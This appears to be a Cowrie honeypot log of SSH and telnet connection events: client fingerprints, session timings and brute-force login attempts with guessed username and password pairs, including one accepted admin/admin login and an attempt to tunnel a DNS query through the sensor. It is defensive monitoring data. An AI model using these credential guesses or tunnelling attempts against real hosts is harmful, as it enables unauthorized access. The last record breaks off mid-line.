{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47884,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6ce2102e65f","protocol":"telnet","message":"New connection: 152.42.224.71:47884 (10.17.0.5:23) [session: f6ce2102e65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:14.191745Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfcntymrf","message":"login attempt [root/yfcntymrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:14.411248Z","src_ip":"103.77.175.15","session":"a1ab2fe255ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":32930,"dst_ip":"159.203.135.109","dst_port":22,"session":"28b7eb6cba7e","protocol":"ssh","message":"New connection: 124.156.196.131:32930 (159.203.135.109:22) [session: 28b7eb6cba7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:14.498172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:14.503256Z","src_ip":"124.156.196.131","session":"28b7eb6cba7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:14.748981Z","src_ip":"124.156.196.131","session":"28b7eb6cba7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:15.683048Z","src_ip":"103.77.175.15","session":"a1ab2fe255ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456Qaz","message":"login attempt [root/123456Qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:15.764063Z","src_ip":"124.156.196.131","session":"28b7eb6cba7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:17.013361Z","src_ip":"124.156.196.131","session":"28b7eb6cba7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":24566,"dst_ip":"10.17.0.5","dst_port":22,"session":"17e94c0904be","protocol":"ssh","message":"New connection: 87.251.64.176:24566 (10.17.0.5:22) [session: 17e94c0904be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:51.995527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:52.029651Z","src_ip":"87.251.64.176","session":"17e94c0904be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:52.105873Z","src_ip":"87.251.64.176","session":"17e94c0904be","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:52.542234Z","src_ip":"87.251.64.176","session":"17e94c0904be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":59826,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5c143e668bb","protocol":"ssh","message":"New connection: 89.108.118.91:59826 (159.203.135.109:22) [session: a5c143e668bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:52.607679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:52.612375Z","src_ip":"89.108.118.91","session":"a5c143e668bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:52.654374Z","session":"17e94c0904be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:52.744635Z","src_ip":"89.108.118.91","session":"a5c143e668bb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:52.752705Z","src_ip":"87.251.64.176","session":"17e94c0904be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:52.998457Z","src_ip":"87.251.64.176","session":"17e94c0904be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devilmaycry","message":"login attempt [root/devilmaycry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:53.129500Z","src_ip":"89.108.118.91","session":"a5c143e668bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:54.264748Z","src_ip":"89.108.118.91","session":"a5c143e668bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.03776812553406,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:31:55.229362Z","src_ip":"152.42.224.71","session":"f6ce2102e65f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60634,"dst_ip":"10.17.0.5","dst_port":23,"session":"d986c98c197c","protocol":"telnet","message":"New connection: 152.42.224.71:60634 (10.17.0.5:23) [session: d986c98c197c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:02.880219Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":59168,"dst_ip":"159.203.135.109","dst_port":22,"session":"538017e73c08","protocol":"ssh","message":"New connection: 43.163.95.54:59168 (159.203.135.109:22) [session: 538017e73c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:05.455996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:05.461010Z","src_ip":"43.163.95.54","session":"538017e73c08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:05.702158Z","src_ip":"43.163.95.54","session":"538017e73c08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa111111","message":"login attempt [ubuntu/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:06.682129Z","src_ip":"43.163.95.54","session":"538017e73c08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:07.922887Z","src_ip":"43.163.95.54","session":"538017e73c08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":49144,"dst_ip":"10.17.0.5","dst_port":22,"session":"43d75e14b209","protocol":"ssh","message":"New connection: 80.94.92.184:49144 (10.17.0.5:22) [session: 43d75e14b209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:15.452285Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":56844,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0bd3a7129de","protocol":"ssh","message":"New connection: 185.236.22.41:56844 (10.17.0.5:22) [session: c0bd3a7129de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:15.586563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:15.591880Z","src_ip":"185.236.22.41","session":"c0bd3a7129de","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:15.678379Z","src_ip":"80.94.92.184","session":"43d75e14b209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:15.682348Z","src_ip":"80.94.92.184","session":"43d75e14b209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:15.705712Z","src_ip":"185.236.22.41","session":"c0bd3a7129de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345z","message":"login attempt [root/12345z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:16.118166Z","src_ip":"185.236.22.41","session":"c0bd3a7129de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":54978,"dst_ip":"159.203.135.109","dst_port":22,"session":"384bdd4cb904","protocol":"ssh","message":"New connection: 62.133.62.83:54978 (159.203.135.109:22) [session: 384bdd4cb904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:16.687179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:16.692599Z","src_ip":"62.133.62.83","session":"384bdd4cb904","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:16.773115Z","src_ip":"62.133.62.83","session":"384bdd4cb904","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890","message":"login attempt [solana/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:16.870392Z","src_ip":"80.94.92.184","session":"43d75e14b209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:17.014091Z","src_ip":"62.133.62.83","session":"384bdd4cb904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:17.236333Z","src_ip":"185.236.22.41","session":"c0bd3a7129de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:18.097445Z","src_ip":"62.133.62.83","session":"384bdd4cb904","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:18.552751Z","src_ip":"80.94.92.184","session":"43d75e14b209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":45056,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd4dbf0efe0c","protocol":"ssh","message":"New connection: 124.156.196.131:45056 (159.203.135.109:22) [session: bd4dbf0efe0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:31.166949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:32:31.171599Z","src_ip":"124.156.196.131","session":"bd4dbf0efe0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com"